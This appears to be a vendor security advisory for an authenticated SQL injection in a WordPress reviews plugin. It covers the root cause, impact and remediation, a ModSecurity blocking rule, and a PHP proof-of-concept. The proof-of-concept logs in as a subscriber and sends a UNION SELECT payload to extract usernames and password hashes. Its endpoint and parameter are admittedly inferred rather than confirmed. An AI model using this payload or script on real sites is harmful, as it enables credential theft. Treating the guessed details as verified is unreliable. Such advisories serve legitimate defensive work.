Atomic Edge analysis of CVE-2026-66658 (metadata-based): The Reviewer plugin for WordPress, versions up to and including 3.14.2, contains an authenticated SQL injection vulnerability. A user with subscriber-level access or higher can inject arbitrary SQL into queries executed by the plugin, leading to sensitive data extraction from the WordPress database. The CVSS score of 6.5 reflects a network-based attack with low complexity, requiring low privileges and no user interaction, resulting in high confidentiality impact but no integrity or availability impact.
Root Cause: The vulnerability stems from insufficient escaping of user-supplied input and lack of sufficient preparation on an existing SQL query (CWE-89). Based on the description, the plugin likely passes a parameter directly into a SQL query without using $wpdb->prepare() or proper sanitization. The specific vulnerable parameter and query location are not confirmed without source code access, but the classification and description strongly indicate a classic SQL injection pattern. Atomic Edge research infers that the vulnerable code exists in a function handling review-related data, possibly an AJAX handler or shortcode, where user input is concatenated into a query.
Exploitation: An authenticated attacker with subscriber-level access can exploit this by sending a crafted request to a vulnerable endpoint. The most likely attack vector is an AJAX action (e.g., action=reviewer_ajax) or a REST API endpoint. The attacker would inject SQL payloads such as ‘ UNION SELECT user_login, user_pass FROM wp_users– into the vulnerable parameter. The CVSS vector indicates network access, low complexity, and low privileges required, meaning any logged-in user can trigger it. The exact endpoint and parameter name are inferred from the plugin slug and common WordPress patterns, but not confirmed.
Remediation: The fix requires using $wpdb->prepare() for all SQL queries that include user input, along with proper sanitization and validation of the parameter. The plugin should also implement capability checks to ensure only authorized users can access the vulnerable functionality. Since no patched version is available, users should disable or remove the plugin until a fix is released.
Impact: Successful exploitation allows an attacker to extract sensitive information from the database, including user credentials, session tokens, and other confidential data. This can lead to privilege escalation (via password cracking or session hijacking) and further compromise of the WordPress site. The vulnerability does not directly allow remote code execution or data modification, but the confidentiality impact is high.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-66658 (metadata-based)
# This rule blocks SQL injection attempts targeting the Reviewer plugin's AJAX endpoint.
# It assumes the vulnerable action is 'reviewer_ajax' and the parameter is 'review_id'.
# If the actual action or parameter differs, the rule must be updated.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20266666,phase:2,deny,status:403,chain,msg:'CVE-2026-66658 SQL Injection via Reviewer plugin AJAX',severity:'CRITICAL',tag:'CVE-2026-66658'"
SecRule ARGS_POST:action "@streq reviewer_ajax" "chain"
SecRule ARGS_POST:review_id "@detectSQLi" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-66658 - Reviewer <= 3.14.2 - Authenticated (Subscriber+) SQL Injection
// This PoC assumes:
// - WordPress is installed at $target_url
// - The Reviewer plugin is active and version <= 3.14.2
// - The attacker has subscriber-level credentials
// - The vulnerable endpoint is an AJAX action named 'reviewer_ajax' (inferred)
// - The vulnerable parameter is 'review_id' (inferred)
// Adjust these based on actual plugin code if available.
$target_url = 'http://example.com'; // Change to your target WordPress site
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber-level password
// Step 1: Log in to WordPress to obtain authentication cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Craft SQL injection payload to extract user data via UNION SELECT
// The payload attempts to retrieve the admin username and password hash from wp_users.
$sql_payload = "1' UNION SELECT user_login, user_pass FROM wp_users-- -";
// Step 3: Send request to the vulnerable AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
'action' => 'reviewer_ajax', // Inferred action name based on plugin slug
'review_id' => $sql_payload // Inferred vulnerable parameter
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 4: Output the response, which may contain the extracted data
echo "Response from AJAX endpoint:n";
echo $response . "n";
// Note: The actual vulnerable endpoint and parameter may differ. This PoC is based on
// typical WordPress plugin patterns and the CVE description. Adjust accordingly.
?>